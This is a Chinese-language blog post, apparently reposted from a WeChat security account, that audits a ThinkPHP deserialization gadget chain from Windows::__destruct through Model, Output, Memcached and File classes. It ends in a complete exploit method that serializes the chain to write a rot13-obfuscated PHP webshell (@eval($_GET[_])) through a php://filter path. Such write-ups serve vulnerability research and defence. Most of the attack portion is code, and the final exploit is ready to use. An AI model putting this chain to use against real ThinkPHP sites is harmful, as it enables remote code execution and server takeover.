代码审计|Thinkphp反序列化代码审计

admin 2024年2月27日09:58:49评论19 views字数 11149阅读37分9秒阅读模式

Thinkphp反序列化代码审计

今天来复现一下tp的反序列化漏洞

在开始进行tp框架反序列化代码审计时,我们需要先了解一些基础的php魔法函数,一下是一些反序列化常用的魔法函数

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

之后我们在审计时需要找到一个反序列化的入口点,这里直接手动添加一个

代码审计|Thinkphp反序列化代码审计

访问该路由测试一下

代码审计|Thinkphp反序列化代码审计

然后我们开始常规审计 一般来说,反序列化漏洞的触发点是__wakeup()或者__destruct(),所以我们直接搜索函数。

代码审计|Thinkphp反序列化代码审计

经过多次审计我们找到windows.php中的__destruct()函数。

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

然后逐个函数跟进去看一眼,在removeFiles()函数中发现我们想要的东西

 private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

由于file_exists()函数会将变量当作字符串执行所以我们想到__toString魔术方法所以在次搜索该魔术方法的调用

代码审计|Thinkphp反序列化代码审计

在Model.php中审计到该方法可以利用

public function __toString()
    {
        return $this->toJson();
    }

继续跟进json函数

public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

继续跟进去toArray()

public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hiddenfalse);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val$visible$hidden$key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value$visible$hidden$key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name'.')) {
                    list($key$attr) = explode('.'$name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this$relation)) {

                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }

            }
        }
        return !empty($item) ? $item : [];
    }

在该函数中找到三处可以触发__call()魔术方法的地方我们选择getAttr()方法来进行触发

  $modelRelation = $this->$relation();
  $value         = $this->getRelationData($modelRelation);

这里我们选择的触发执行call魔术方法经过审计选择

代码审计|Thinkphp反序列化代码审计

在调用getAttr()方法之前我们发现value的值被modelRelation);覆盖所以我们要看一下该函数做了什么事走到 else 之后要继续往下走的话先要判断 this->name,继续往上回溯,由于 name 也是可控的,这里可以利用 Model 类中的 getError 方法

    public function getError()
    {
        return $this->erchua

error也是可控的 由于往下传参modelRelation);

   protected function getRelationData(Relation $modelRelation)
    {
        if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
            $value = $this->parent;
        } else {
            // 首先获取关联数据
            if (method_exists($modelRelation'getRelation')) {
                $value = $modelRelation->getRelation();
            } else {
                throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
            }
        }
        return $value;
    }

可以看到要求变量的类型必须是Relation但是由于该类是抽象类并且该类还需要有getBindAttr()方法要不就没法进到条件里面去了。

代码审计|Thinkphp反序列化代码审计

所以我们先寻找带有getBindAttr()方法的类

代码审计|Thinkphp反序列化代码审计

找到OneToOne类发现该类也是抽象类这时候直接找其实现类就可以了

代码审计|Thinkphp反序列化代码审计

选择其中一个即可这里选择使用HasOne这个类看一下该类的构造函数,构造出来赋值给error即可

public function __construct(Model $parent$model$foreignKey$localKey$joinType = 'INNER')
    {
        $this->parent     = $parent;
        $this->model      = $model;
        $this->foreignKey = $foreignKey;
        $this->localKey   = $localKey;
        $this->joinType   = $joinType;
        $this->query      = (new $model)->db();
    }

继续跟进getRelationData(Relation $modelRelation)该方法,直接排除掉else的逻辑即可里面没啥可控参数

if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
            $value = $this->parent;
        }

由于我们选择的call魔术方法为方法选择的是 thinkconsoleOutput 类,所以前面的 this->parent 肯定也thinkconsoleOutput 类对象。我们根据这个判断逻辑前面的parent可控主要是后面get_class()相等这里我们需要跟到get_Model看看

public function getModel()
    {
        return $this->query->getModel();
    }
继续跟进
public function getModel()
    {
        return $this->model;
    }

这里的query与model都是可控的,所以只需要将Output对象传入model里在利用hasone对象做一层封装就可以了,parent直接传入Output对象就可以绕过该判断条件了所以我们可以初步构造一下poc

        $model = new Pivot();
        $model->setAppend(array("zbz"=>"getError"));
        $error = new HasOne(new Merge(), 'thinkmodelMerge','','');
        $model->setError($error);
        $error->setSelfRelation(false);
        $error->setBindAttr(array("zzz"=>"zzj"));
        $query = new Query();
        $output = new Output();
        $output->setStyles(array("getAttr"));
        $query->setModel($output);
        $error->setQuery($query);
        $model->setParent($output);

触发call方法我们继续跟进看看

public function __call($method$args)
    {
        if (in_array($method$this->styles)) {
            array_unshift($args$method);
            return call_user_func_array([$this'block'], $args);
        }

        if ($this->handle && method_exists($this->handle, $method)) {
            return call_user_func_array([$this->handle, $method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }

跟进block方法

protected function block($style$message)
    {
        $this->writeln("<{$style}>{$message}</$style>");
    }

继续跟进writeln方法

  public function writeln($messages$type = self::OUTPUT_NORMAL)
    {
        $this->write($messagestrue$type);
    }

跟进write方法

public function write($messages$newline = false$type = self::OUTPUT_NORMAL)
    {
        $this->handle->write($messages$newline$type);
    }

这里看到handle是可控的所以可以全局搜索调用有write方法的类

代码审计|Thinkphp反序列化代码审计

这里找到Memcached.php该类有可以利用的函数

public function write($sessID$sessData)
    {
        return $this->handler->set($this->config['session_name'] . $sessID$sessData, 0, $this->config['expire']);
    }

这里发现handler是可控的继续全局搜索set方法这里找到File.php

public function set($name$value$expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($nametrue);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?phpn//" . sprintf('%012d'$expire) . "n exit();?>n" . $data;
        $result = file_put_contents($filename$data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

可以看到options是可控的并且有 file_put_contents 方法可以写入 shell,$filename 可控且可以利用伪协议绕过死亡 exit继续跟进到getCacheKey()该方法发现文件名部分可控所以可以利用为协议做一些事情

protected function getCacheKey($name$auto = false)
    {
        $name = md5($name);
        if ($this->options['cache_subdir']) {
            // 使用子目录
            $name = substr($name, 0, 2) . DS . substr($name, 2);
        }
        if ($this->options['prefix']) {
            $name = $this->options['prefix'] . DS . $name;
        }
        $filename = $this->options['path'] . $name . '.php';
        $dir      = dirname($filename);

        if ($auto && !is_dir($dir)) {
            mkdir($dir, 0755, true);
        }
        return $filename;
    }

但是我们发现后面的data数据写入文件是不可控的所以继续跟进到setTagItem()方法发现又调用了一次set方法()

protected function setTagItem($name)
    {
        if ($this->tag) {
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) {
                $value   = explode(','$this->get($key));
                $value[] = $name;
                $value   = implode(',', array_unique($value));
            } else {
                $value = $name;
            }
            $this->set($key$value, 0);
        }
    }

所以可以结合为协议成功写入shell

代码审计|Thinkphp反序列化代码审计

exp

 public function poc(){
        $model = new Pivot();
        $model->setAppend(array("zbz"=>"getError"));
        $error = new HasOne(new Merge(), 'thinkmodelMerge','','');
        $model->setError($error);
        $error->setSelfRelation(false);
        $error->setBindAttr(array("zzz"=>"zzj"));
        $query = new Query();
        $output = new Output();
        $output->setStyles(array("getAttr"));
        $mem = new Memcached();
        $file = new File();
        $file->setTag(true);
        $file->setOptions(array('path'=>'php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>',"cache_subdir"=>false,"prefix"=>false'data_compress'=>false));
        $mem->setHandler($file);
        $output->setHandle($mem);
        $query->setModel($output);
        $error->setQuery($query);
        $model->setParent($output);
        $window = new Windows(true,"");
        $window->setFiles(array($model));
        $poc = urlencode(serialize($window));
        echo $poc;
        return "";

    }


原文始发于微信公众号(不懂安全的果仁):代码审计|Thinkphp反序列化代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月27日09:58:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计|Thinkphp反序列化代码审计https://cn-sec.com/archives/2528803.html

发表评论

匿名网友 填写信息